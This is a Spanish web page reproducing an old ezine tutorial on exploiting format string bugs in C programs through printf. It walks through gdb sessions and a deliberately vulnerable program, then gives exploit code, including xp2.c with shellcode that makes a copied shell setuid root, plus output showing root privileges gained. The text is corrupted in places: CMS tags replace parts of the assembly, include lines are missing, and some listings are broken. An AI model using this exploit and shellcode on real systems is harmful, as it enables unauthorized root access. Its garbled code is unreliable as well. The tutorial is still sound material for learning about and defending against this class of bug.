Ultimos Mensajes del Foro

Manual Aleatorio

La cara oculta de internet (PDF)
En este documento se explican las partes de internet que no todo el mundo llega a conocer, con explicaciones para que todo el mundo las entienda.
Leer más...
Format Bugs Imprimir E-mail
Hacking y Seguridad - Format Bugs
Escrito por Raise   
Excelente texto con explicaciones y ejemplos de lo que son los format bugs y como explotarlos

Texto Completo:
=-[ 0x04 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Bugs de Formato (1/2) ]-=================================================
=-[ por RaiSe ]-=============================================================




----------------
// 0.- Indice
----------------


0.- Indice
1.- Prologo
2.- Introduccion a los Bugs de Formato
3.- Xplotando los Bugs de Formato
4.- Codigo del Xploit final
5.- Despedida



----------------
// 1.- Prologo
----------------


En fin, ya estamos otra vez aqui currandonos un articulillo para el NS Ezine
:). Este es mi sexto articulo (tecnico, x asi decirlo), y la verdad es que a
uno se le acaban las ideas.. Tanto es asi que he decidido retomar un tema que
tenia pensado hace bastante tiempo: los Bugs de Formato.

La idea es que el articulo se divida en dos partes, la primera (esta) sera
una especie de introduccion, y en la segunda se intentara tratar aspectos un
poco mas avanzados.

Por supuesto yo no soy ningun guru, asi que es posible que en este texto haya
algun que otro fallo tecnico (espero que no). Si hay algo que no es correcto
no dudeis en comentarlo por mail; 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 .



-------------------------------------------
// 2.- Introduccion a los bugs de formato
-------------------------------------------


Bueno bueno.. por donde empiezo? Los bugs de formato se producen (o son
xplotables) cuando un programa realiza una llamada a una funcion *printf sin
especificar su formato. Ejemplo:


char manolo[] = "hola que pasa que tal";
printf(manolo);   --> aqui deberia ser printf("%s", manolo);


Resumiendo, todo este embrollo viene por culpa de 'vagos' programadores, que
no tienen la suficiente responsabilidad como para especificar el formato. Por
supuesto me estoy refiriendo a bugs encontrados en aplicaciones actuales, ya
que anteriormente este problema no se conocia, con lo que esos 'otros'
programadores quedan absueltos de responsibilidad :).

Y ahora que ya sabemos a grandes rasgos cuando se producen, veamos mas
detenidamente que pasa cuando ejecutamos el siguiente codigo:


[raise@apolo formats]$ cat > codigo1.c
<++> formats/codigo1.c $a20ab987f4865715cf4ccdecb9d35572
#include 

main()
{
char pepe[] = "hola hola";
printf("%s", pepe);
}
<-->

[raise@apolo formats]$ gcc -g -o codigo1 codigo1.c
[raise@apolo formats]$ gdb -q codigo1

(gdb) disass main
Dump of assembler code for function main:
0x80483e4 
: push %ebp 0x80483e5 : mov %esp,%ebp 0x80483e7 : sub {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x18,%esp 0x80483ea : lea 0xfffffff4(%ebp),%edx 0x80483ed : mov {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x8048478,%eax 0x80483f2 : mov (%eax),%edx 0x80483f4 : mov %edx,0xfffffff4(%ebp) 0x80483f7 : mov 0x4(%eax),%edx 0x80483fa : mov %edx,0xfffffff8(%ebp) 0x80483fd : mov 0x8(%eax),%ax 0x8048401 : mov %ax,0xfffffffc(%ebp) 0x8048405 : add {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}xfffffff8,%esp 0x8048408 : lea 0xfffffff4(%ebp),%eax 0x804840b : push %eax 0x804840c : push {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x8048482 0x8048411 : call 0x804830c 0x8048416 : add {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x10,%esp 0x8048419 : mov %ebp,%esp 0x804841b : pop %ebp 0x804841c : ret End of assembler dump. (gdb) break *0x8048411 (gdb) r Breakpoint 1, 0x8048411 in main () at codigo1.c:7 7 printf("%s", pepe); (gdb) x/2xw $esp 0xbffff854: 0x08048482 0xbffff870 Despues de todo este rollo pasemos a explicar.. Lo que hemos hecho ha sido crear un ultrasimple programa que printea por pantalla un string. Lo ejecutamos con el gdb y hacemos un break justo antes de la llamada a printf (con formato - %s). Observamos la pila y vemos que coloca dos direcciones; la primera corresponde al formato y la segunda al string. (gdb) x/1s 0x08048482 0x8048482 <_IO_stdin_used+14>: "%s" (gdb) x/1s 0xbffff870 0xbffff870: "hola hola" Usease, se supone que siempre que haya un especificador de formato habra justo despues en la pila (en el momento de llamar a printf) la direccion de lo que se quiere mostrar (string, entero, o lo que sea). Si hubiesemos puesto dos especificadores de formato el resultado no seria muy diferente. Supongamos que hicieramos: printf("%s %s", pepe, pepe); (gdb) x/3xw $esp 0xbffff854: 0x08048492 0xbffff870 0xbffff870 (gdb) x/1s 0x08048492 0x8048492 <_IO_stdin_used+14>: "%s %s" (gdb) x/1s 0xbffff870 0xbffff870: "hola hola" Como vemos, por 'n' especificadores de formato, 'n' direcciones de memoria en la pila, todo correcto. Ahora veamos que pasa con el siguiente programa sin formato. [raise@apolo formats]$ cat > codigo2.c <++> formats/codigo2.c {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}c635047cc55fcb84a74fbfb21346960 #include main() { char pepe[] = "hola hola"; printf(pepe); } <--> [raise@apolo formats]$ gcc -g -o codigo2 codigo2.c [raise@apolo formats]$ gdb -q codigo2 [hacemos el break justo en el call printf()] (gdb) r Breakpoint 1, 0x804840c in main () at codigo2.c:7 7 printf(pepe); (gdb) x/2xw $esp 0xbffff854: 0xbffff870 0x00000000 (gdb) x/1s 0xbffff870 0xbffff870: "hola hola" Ahora solo se usa una direccion de memoria, que es la de la propia variable pepe. Por lo tanto, si pepe contuviera un modificador de formato, por ejemplo "%d", se intentaria printear el valor en decimal de la direccion de memoria contigua en la pila (0x00000000). Probemos a cambiar el valor de pepe[] por "hola hola %d" (modificando el codigo y recompilando). (gdb) x/2xw $esp 0xbffff854: 0xbffff86c 0x00000000 (gdb) x/1s 0xbffff86c 0xbffff86c: "hola hola %d" (gdb) c Continuing. hola hola 0 Program exited with code 013. Efectivamente ha cogido el siguiente valor en la pila y lo ha mostrado por pantalla (0). Ahora vosotros estareis pensando, todo esto esta muy bien, pero como podemos hacer para sacarle provecho?.. Veamoslo en el siguiente apartado :). -------------------------------------- // 3.- Xplotando los bugs de formato -------------------------------------- Ahora que ya sabemos como hace el sistema para colocar los especificadores de formato y variables en la pila para llamar a printf, veamos como xplotarlo. Por cierto, esta explicacion se basa en printf, pero sirve para cualquier llamada a *printf (varia un poco la pila obviamente, pero en el fondo es lo mismo). Para xplotar un bug de este tipo hay varias formas, pero yo solo explicare una, ya que este metodo puede decirse que es 'universal' y funciona en casi todos los casos. Para ello utilizaremos el especificador de formato '%n'. Como sabreis este formato es un tanto especial, ya que no se usa para printear nada por pantalla, pero si que lleva un argumento asociado. Dicho argumento siempre es la direccion de un entero en memoria. Explicado brevemente lo que hace printf es guardar en el entero el numero de caracteres que se han mostrado por pantalla. Pongamos un ejemplo: [raise@apolo formats]$ cat > codigo3.c <++> formats/codigo3.c de446343b3eeae6deaf084207bfa8e4 #include main() { int a, b; printf("hola%npepe%n\n", &a, &b); printf("A: %d, B: %d", a, b); } <--> [raise@apolo formats]$ gcc -g -o codigo3 codigo3.c Este programa mostrara por pantalla lo siguiente: holapepe A: 4, B: 8 Ya que cuando el primer %n se habian mostrado 4 caracteres (hola), y en el segundo 8 (holapepe). Es decir, con el especificador de formato '%n' podremos sobreescribir partes de la memoria (teoricamente variables int's que hayamos declarado nosotros). Volvamos con el gdb y veamos lo q pasa que con el programa anterior. [raise@apolo formats]$ gdb -q codigo3 (gdb) disass main Dump of assembler code for function main: 0x80483e4
: push %ebp 0x80483e5 : mov %esp,%ebp 0x80483e7 : sub {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x18,%esp 0x80483ea : add {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}xfffffffc,%esp 0x80483ed : lea 0xfffffff8(%ebp),%eax 0x80483f0 : push %eax 0x80483f1 : lea 0xfffffffc(%ebp),%eax 0x80483f4 : push %eax 0x80483f5 : push {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x8048478 0x80483fa : call 0x804830c 0x80483ff : add {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x10,%esp 0x8048402 : add {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}xfffffffc,%esp 0x8048405 : mov 0xfffffff8(%ebp),%eax 0x8048408 : push %eax 0x8048409 : mov 0xfffffffc(%ebp),%eax 0x804840c : push %eax 0x804840d : push {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x8048486 0x8048412 : call 0x804830c 0x8048417 : add {jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}x10,%esp 0x804841a : mov %ebp,%esp 0x804841c : pop %ebp 0x804841d : ret End of assembler dump. (gdb) break *0x80483fa // hacemos el break en el primer printf (gdb) r Breakpoint 1, 0x80483fa in main () at codigo3.c:7 7 printf("hola%npepe%n\n", &a, &b); (gdb) x/3xw $esp 0xbffff854: 0x08048478 0xbffff878 0xbffff874 (gdb) x/1s 0x08048478 0x8048478 <_IO_stdin_used+4>: "hola%npepe%n\n" (gdb) x/2xw 0xbffff874 0xbffff874: 0x40009f50 0xbffff898 Una breve explicacion, la primera direccion de la pila como siempre corresponde a la cadena de formato, la segunda y la tercera son respectivamente las variables a y b. Ahora mismo contienen un valor semialetario (al no haber sido inicializadas a cero). El x/2xw lo hice para poder ver las dos a la vez en la misma instruccion, ya que estan seguidas en memoria. Ahora hagamos un break despues del primer printf y continuemos. (gdb) break *0x80483ff (gdb) c Breakpoint 2, 0x80483ff in main () at codigo3.c:7 7 printf("hola%npepe%n\n", &a, &b); (gdb) x/2xw 0xbffff874 0xbffff874: 0x00000008 0x00000004 Como vemos se han sobreescrito las variables a(4) y b(8), aparecen al reves por lo que he explicado antes (para no tener que hacer dos 'x/1xw'). Pues bien, observemos ahora que ocurre si en un printf sin formato incluimos el especificador '%n'. [raise@apolo formats]$ cat > codigo4.c <++> formats/codigo4.c $fd032eadce0a74f3450fb2aa7ca5902b #include main() { char pepe = "hola%n"; printf(pepe); } <--> [raise@apolo formats]$ gcc -g -o codigo4 codigo4.c [raise@apolo formats]$ gdb -q codigo4 [hacemos break justo antes del printf] (gdb) c Breakpoint 1, 0x804840c in main () at codigo4.c:7 7 printf(pepe); (gdb) x/2xw $esp 0xbffff854: 0xbffff874 0x00000000 (gdb) x/1s 0xbffff874 0xbffff874: "hola%n" Bueno, analicemos.. Teoricamente el programa intentara escribir un 4 en la posicion de memoria siguiente, es decir 0x00000000, que al estar fuera del segmento actual producira un segv fault. Veamos si es correcto.. (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x4005fdd7 in vfprintf () from /lib/libc.so.6 (gdb) x/1i 0x4005fdd7 0x4005fdd7 : mov %ecx,(%eax) (gdb) info reg eax eax 0x0 0 Efectivamente intenta copiar %ecx al contenido de %eax, que al ser null pues produce el fallo de segmento. Ahora bien, estaria genial que pudieramos elegir nosotros la direccion donde se va a escribir el byte, y si encima podemos ir calculando el contenido que se escribe no habria ningun problema para obtener el control del programa. La duda es, como hacemos para elegir la direccion destino y el contenido? Muy sencillo, con un pequeño programa en C (o en cualquier lenguaje por supuesto). Todo esto claro esta no puede usarse sino podemos modificar el contenido de la variable pepe. Veamos este otro codigo. [raise@apolo formats]$ cat > codigo5.c <++> formats/codigo5.c a609c5ec743d065656d6c4e1ad36ca #include #include #include main() { char pepe[1024]; bzero(pepe, 1024); printf("Programa vulnerable by RaiSe (NS #6 / 0x04)\n\n"); printf("Introduzca cadena: "); fflush(stdout); read(0, pepe, 1024); printf(pepe); } <--> [raise@apolo formats]$ gcc -g -o codigo5 codigo5.c [raise@apolo formats]$ ./codigo5 Programa vulnerable by RaiSe (NS #6 / 0x04) Introduzca cadena: manolo manolo [raise@apolo formats]$ Como vemos funciona perfectamente, ahora veamos que ocurre cuando hacemos lo siguiente. [raise@apolo formats]$ ./codigo5 Programa vulnerable by RaiSe (NS #6 / 0x04) Introduzca cadena: %x %x bffff49c 400 [raise@apolo formats]$ Analicemos.. por cada %x el programa coge los valores que hay en la pila detras de la cadena de formato y los printea en hexadecimal. Por lo tanto teoricamente si lo volvemos a ejecutar y ponemos "pepe%n" se escribira un 0x4 en la direccion de memoria 0xbffff49c, si? Probemos a poner "pepe%n%n", se escribira dos 0x4, uno en 0xbffff49c y otro en 0x400, con lo que se producira un segv fault y hara 'core'. [raise@apolo formats]$ ./codigo5 Programa vulnerable by RaiSe (NS #6 / 0x04) Introduzca cadena: pepe%n%n Violacion de segmento (core dumped) [raise@apolo formats]$ gdb -q --core=core Core was generated by `./codigo5'. Program terminated with signal 11, Violacion de segmento. #0 0x4005fdd7 in ?? () (gdb) x/1xw 0xbffff49c 0xbffff49c: 0x00000004 Efectiviwonder, se ha sobreescrito como pensabamos y luego ha hecho un core al no poder acceder a la direccion 0x400. Ahora pensemos como podemos elegir la direccion donde queremos que sobreescriba. Observemos este ejemplo: [raise@apolo formats]$ ./codigo5 Programa vulnerable by RaiSe (NS #6 / 0x04) Introduzca cadena: AAAABBBB %x %x %x %x %x %x %x %x AAAABBBB bffff49c 400 bffff518 0 0 41414141 42424242 20782520 [raise@apolo formats]$ Analicemos. Hemos puesto AAAABBBB y despues 8 %x, con lo que el programa printeara 8 direcciones de memoria justo despues del string de formato (como en este caso no hay sera lo que haya despues de la propia direccion del buffer pepe). El primer valor (bffff49c), es la direccion del buffer que uso bzero para rellenar a ceros, y 0x400 el numero de bytes a rellenar (1024 = 0x400). Lo demas hasta llegar a 41414141 son valores arbitrarios que habia antes de la ejecucion del programa o restos de las llamadas a anteriores funciones (anteriores printf's, read, etc..). Cuando empieza a mostrar 41414141 es porque ha llegado a la propia variable pepe. Es decir, pepe ocupa una direccion en la pila como variable local que es, y su contenido sera para ser exactos lo que hayamos puesto en 'Introduzca cadena:', ya que el read lo copia directamente al buffer pepe. Pues bien, en el ultimo printf al empezar a hacer %x, va cogiendo valores que encuentra en la pila (los que hay detras de la direccion de pepe, recordemos que sino se especifica formato printf() hace un pushl de la direccion del buffer a imprimir). Una vez que llega a pepe printea su valor en hexadecimal, que en este caso es 41414141 y 42424242 (AAAABBBB). El ultimo valor (20782520) corresponde al string ' %x '. Todo esto tiene un proposito, y es que si en vez de AAAA ponemos una direccion de memoria, y en vez de ocho '%x' ponemos cinco '%x' y un '%n', lo que estaremos haciendo sera sobreescribir la direccion que especificamos con el valor 0xe. Es decir, 4 bytes de la direccion de memoria + 10 bytes de los '%x' = 0xe = 14. Los '%x' se ponen para ir 'saltando' por la pila hasta encontrarnos en la direccion que queremos sobreescribir. No se si me explico.. Probemos un ejemplo sencillo, sabemos que la direccion de pepe[] es 0xbffff49c, no? Intentemos esto otro: [raise@apolo formats]$ ./codigo5 Programa vulnerable by RaiSe (NS #6 / 0x04) Introduzca cadena: AAAABBBB %n %x %x %x %x %x %x %x %x AAAABBBB 400 bffff518 0 0 9 42424242 206e2520 25207825 [raise@apolo formats]$ ^ Hemos usado la direccion que ya teniamos en la pila para sobreescribir la propia variable pepe[] con 0x00000009 (AAAABBBB + espacio). Ahora pensemos un metodo para poder sobreescribir lo que queramos en vez de 0x9. Observemos este codigo: [raise@apolo formats]$ cat > xp1.c <++> formats/xp1.c eab1fea37b934cc0b10274567a3fe5 #include #include #include int main() { char b1[255]; char b2[255]; char b3[255]; char b4[255]; memset(b1, 0, 255); memset(b2, 0, 255); memset(b3, 0, 255); memset(b4, 0, 255); memset(b1, '\x90', 0x99 - 0x10 - 0x28); memset(b2, '\x90', 0xf0 - 0x99); memset(b3, '\x90', 0xff - 0xf0); memset(b4, '\x90', 0x1bf - 0xff); /* queremos sobreescribir pepe[16] en codigo5 con el valor 0xbffff099 */ sleep(1); printf( "\xac\xf4\xff\xbf" "\xad\xf4\xff\xbf" "\xae\xf4\xff\xbf" "\xaf\xf4\xff\xbf" "%%8x%%8x%%8x%%8x%%8x" "%s%%n" "%s%%n" "%s%%n" "%s%%n" " %%x" , b1, b2, b3, b4); } <--> [raise@apolo formats]$ Bueno.. ahora empieza lo bueno. Puede que al principio este codigo sea un poco dificil de entender, pero realmente parece mas complicado de lo que en realidad es. Veamos.. Como vamos a sobreescribir 4 direcciones de memoria con un valor entre 0 y 0xff (255), declaramos 4 arrays de 255 caracteres que usaremos para ir rellenando. Los rellenamos a ceros para no tener que preocuparnos luego por el '{jumi [*3] [http://www.govannom.org/seguridad/f_bugs/bugs_formato_raise.txt]}' del final del string. Queremos sobreescribir la direccion de memoria pepe[16], es decir 0xbffff49c + 16 = 0xbffff4ac, con el valor 0xbffff099. Este ultimo valor lo escogi aleatoriamente, solo es para que veamos que realmente sobreescribe. Rellenamos los arrays de una forma un tanto peculiar.. fijandonos en el printf de luego analicemos: . Lo primero que contendra el buffer pepe sera las 4 direcciones a sobreescribir, es decir, 16 = 0x10 bytes. . En la primera (0xbffff4ac) queremos sobreescribir el valor 0x99, ya que en procesadores x86 como sabemos se usa little endian. Entonces para escribir el valor 0x99, antes del %n necesitamos printear ese numero de bytes. Ya hemos printeado 0x10 de las direcciones de memoria, pero vamos a tener que printear unos cuantos mas. Me estoy refiriendo a los cinco '%x' que tendremos que poner para 'saltar' por la pila hasta llegar a la propia variable pepe. Si ponemos cinco '%x' a secas no sabremos cuantos bytes estaremos printeando, ya que puede ir desde uno a ocho, por lo tanto pondremos '%8x'. De esta forma si el numero a printear ocupa menos de 8 caracteres en pantalla se rellenara con espacios. Resumiendo, ya hemos printeado 0x38 bytes (16 + 5*8). Por lo tanto necesitaremos setear el array b1 a 0x99 - 0x38, lo imprimimos por pantalla seguido del '%n' y ya tenemos el primer valor sobreescrito. . Acto seguido queremos sobreescribir 0xf0, por lo que necesitaremos printear 0xf0 - 0x99 que ya se han printeado. Seteamos b2 a ese valor, lo imprimimos por pantalla seguido de '%n' y ya tenemos el segundo valor sobreescrito. . Tercero, 0xff. Seteamos a 0xff - 0xf0, printeamos seguido de '%n' y ya esta el tercer valor. . Cuarto, 0xbf. Ya se han imprimido 0xff, como hacemos para conseguir 0xbf sino podemos restar 0xbf - 0xff ?. Pues muy sencillo, necesitamos printear 0x1bf. En memoria se escribira 0x1bf, el 0x1 se guardara en 0xbffff4b0, pero a nosotros no nos importa en absoluto, ya que no nos molestara para conseguir nuestro objetivo. Seteamos a 0x1bf - 0xff, printeamos seguido de '%n' y ya esta :). Ahora probemos lo siguiente a ver si funciona.. (le he quitado algunos caracteres que no eran alfanumericos) [raise@apolo formats]$ gcc -o xp1 xp1.c [raise@apolo formats]$ ./xp1 | ./codigo5 Programa vulnerable by RaiSe (NS #6 / 0x04) Introduzca cadena: xxxxxxxxxxxxxxxxbffff49c 400bffff518 0 0xxxxxxxxxxxxxxxxxxaqui van todos los nopsxxxxxxxxxxxxxxxxxxxxxxxxxxxx bffff099 [raise@apolo formats]$ Veamos, con los cinco '%8x' salta hasta la direccion de pepe, despues con los cuatro '%n' sobreescribe y salta a la vez, con lo que en el ultimo '%x' printeamos el contenido de pepe[16], que como podemos vemos es lo que habiamos querido sobreescribir :). Ahora seamos un poco mas maquiavelicos, intentemos sobreescribir la direccion de retorno de main con la direccion de una shellcode. Dicha scode la meteremos despues del cuarto '%n'. Justo antes de cada '%n' pondremos "\xeb\x02", que corresponden a la instruccion en asm 'jmp 0x2'. De esta forma si el programa salta a un nop no petara cuando llegue al especificador de formato, sino que lo saltara y seguira bajando hasta la scode. Por supuesto a cada seteo de los arrays tendremos que restarle ahora tambien 0x2. La dire de retorno la sacamos con el gdb (por ejemplo). Hay que tener en cuenta que entre ejecutar el codigo5 bajo gdb o no, hay una pequeña diferencia en cuanto a direcciones de memoria, por lo tanto lo mejor para sacar la dire de retorno es hacer lo siguiente: [raise@apolo formats]$ ./codigo5 Programa vulnerable by RaiSe (NS #6 / 0x04) Introduzca cadena: AAAA%n%n%n%n%n%n -> para asegurarnos que haga core Violacion de segmento (core dumped) [raise@apolo formats]$ gdb -q --core=core Core was generated by `./codigo5'. Program terminated with signal 11, Violacion de segmento. #0 0x4005fdd7 in ?? () (gdb) bt #0 0x4005fdd7 in ?? () #1 0x40067088 in ?? () #2 0x804851d in ?? () #3 0x40039cbe in ?? () (gdb) x/2xw $ebp 0xbffff44c: 0xbffff47c 0x40067088 (gdb) x/2xw 0xbffff47c 0xbffff47c: 0xbffff89c 0x0804851d (gdb) x/2xw 0xbffff89c 0xbffff89c: 0xbffff8d8 0x40039cbe ^^^^^^^^^^ La direccion de retorno del main (a la que salta) es 0x40039cbe. Nosotros dentro del core estamos dentro de dos funciones (vfprintf y printf seguramente), por lo que siguiendo los %ebp's salvados en la pilla llegamos al del main. Resultado, la direccion de retorno del main es 0xbffff89c + 4 = 0xbffff8a0. Y ahora que ya sabemos la direccion que debemos sobreescribir debemos elegir 'que' escribiremos. Veamos, si la dire de pepe es 0xbffff49c le deberemos sumar un valor X para saltarnos las cuatro direcciones y los cinco '%8x', pongamos 64 por ejemplo, 0xbffff49c + 64 = 0xbffff4dc. Asi nos aseguramos que salte a un 'nop'. Ahora solo falta realizar el xploit final.. -------------------------------- // 4.- Codigo del Xploit final -------------------------------- Antes de ponernos a 'coddear' cabe hacer un pequeño comentario sobre el shell de comandos 'bash'. Todo empezo cuando yo ya me estaba tirando de los pelos por un problemilla que estaba teniendo al realizar este articulo. Para ser exactos dire que era incapaz de 'pillar' euid (uid efectivo) de root (0) al ejecutar con una shellcode '/bin/sh'. Como ya estaba un pelin cansado decidi probar como root a setear una shell con suid 0 y ejecutarla con un usuario normal. Sorpresa.. era imposible coger euid 0, la propia bash seteaba internamente el valor del euid al del uid original que habia ejecutado la shell. Yo al principio pensaba que era un parche que habian metido desde el kernel 2.2.18 en adelante, pero hablandolo con Sp4rK llegamos a la conclusion de que era la shell. El bash que esta comprobado que no rula es la version 2.04.12(1), mientras que con otras shells como ash o bash version 2.03.0(1) rula perfectamente. Como en el xploit no podia hacer el tipico execve de '/bin/sh' por lo que acabo de mencionar, decidi rescatar una shellcode que tenia por ahi olvidada. Dicha scode lo que hace es setear el binario '/tmp/.katy' con suid root, el cual sera una copia de '/bin/ash' que habremos hecho previamente. Desconozco si la shell ash viene en todos los linux por defecto, al menos en el mio viene. Si tienes una version valida de bash puedes probar a ver si te funciona.. Bueno, despues de esta pequeña aclaracion ya podemos empezar a escribir codigo :). [Nota: obviamente le damos suid root a codigo5 pq sino no tendria gracia.] [raise@apolo formats]$ cp /bin/ash /tmp/.katy [raise@apolo formats]$ ls -l /tmp/.katy -rwxr-xr-x 1 raise raise 65340 may 8 22:29 /tmp/.katy* [raise@apolo formats]$ cat > xp2.c <++> formats/xp2.c deb5856b7c166abc5825561b056d880 #include #include #include #include int main() { char shellcode[] = // by RaiSe "\xeb\x21\x5f\x31\xc0\x31\xd2\x31\xc9\x88\x57\x0a\x89\xfb\xb0\xb6" "\xcd\x80\x66\xb9\x01\x08\x31\xc0\xb0\x0f\xcd\x80\x31\xc0\x40\x31" "\xdb\xcd\x80\xe8\xda\xff\xff\xff/tmp/.katy"; char b1[255]; char b2[255]; char b3[255]; char b4[255]; memset(b1, 0, 255); memset(b2, 0, 255); memset(b3, 0, 255); memset(b4, 0, 255); memset(b1, '\x90', 0xdc - 0x10 - 0x28 - 0x2); memset(b2, '\x90', 0xf4 - 0xdc - 0x2); memset(b3, '\x90', 0xff - 0xf4 - 0x2); memset(b4, '\x90', 0x1bf - 0xff - 0x2); /* queremos sobreescribir 0xbffff8a0 en codigo5 con el valor 0xbffff4dc (para dejar un margen de 64 bytes respecto a la direccion pepe[0]) */ sleep(1); printf( "\xa0\xf8\xff\xbf" "\xa1\xf8\xff\xbf" "\xa2\xf8\xff\xbf" "\xa3\xf8\xff\xbf" "%%8x%%8x%%8x%%8x%%8x" "%s\xeb\x02%%n" "%s\xeb\x02%%n" "%s\xeb\x02%%n" "%s\xeb\x02%%n" "%s" , b1, b2, b3, b4, shellcode); fflush(stdout); } <--> [raise@apolo formats]$ gcc -o xp2 xp2.c [raise@apolo formats]$ ./xp2 | ./codigo5 Programa vulnerable by RaiSe (NS #6 / 0x04) Introduzca cadena: xxxxxxxxxxxxxnops,etc.xxxxxxxxxxxxxxxxxxxx [raise@apolo formats]$ ls -l /tmp/.katy ---S-----x 1 root root 65340 may 8 22:29 /tmp/.katy* [raise@apolo formats]$ /tmp/.katy [\u@\h \W]$ id uid=501(raise) gid=501(raise) euid=0(root) grupos=501(raise) Como vemos ha funcionado bastante bien. Del xploit hay poco que comentar porque practicamente no hay nada nuevo, lo unico la shellcode y las parejas de dos bytes "\xeb\x02" justo antes de cada '%n'. Lo demas ya lo habiamos visto anteriormente, la unica diferencia es que ahora lo hemos aprovechado para hacer algo un poco mas divertido :). Por supuesto este xploit es muy poco probable que funcione en tu maquina, ya que las direcciones de retorno/scode varian de un ordenador a otro. Si quieres que te rule adapta el xploit a tu maquina, solo tienes que averiguar las direcciones (con el gdb for example). Para sacar la dire de retorno por el metodo que yo use deberas hacerlo antes de setear codigo5 con suid root, porque sino lo mas probable es que no haga core. En una caso hipotetico de que ya estuviera seteado se solucionaria facilmente, solo habria que copiar el binario a tu directorio y ejecutarlo desde ahi, de esa forma si que haria core y la direccion de retorno no variaria. ------------------ // 5.- Despedida ------------------ Como habia dicho al principio de este articulo, en NS #7 habra segunda parte, donde se trataran algunos temas un poco mas complejos. Algunos de esos temas seran: metodos para averiguar la direccion de retorno sin usar gdb, que pasa cuando la direccion que quieres sobreescribir no esta alineada (pads), etc. Mientras tanto tendreis que conformaros con este articulillo, que sin pretender ser de los mejores, espero que sirva para aquellos que estan empezando con este tipo de overflows. Pues nada, ha sido un placer :). Os recuerdo que dudas, comentarios, criticas, etc. sobre el articulo las podeis enviar a la direccion: Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla . Un saludo a tod@s. RaiSe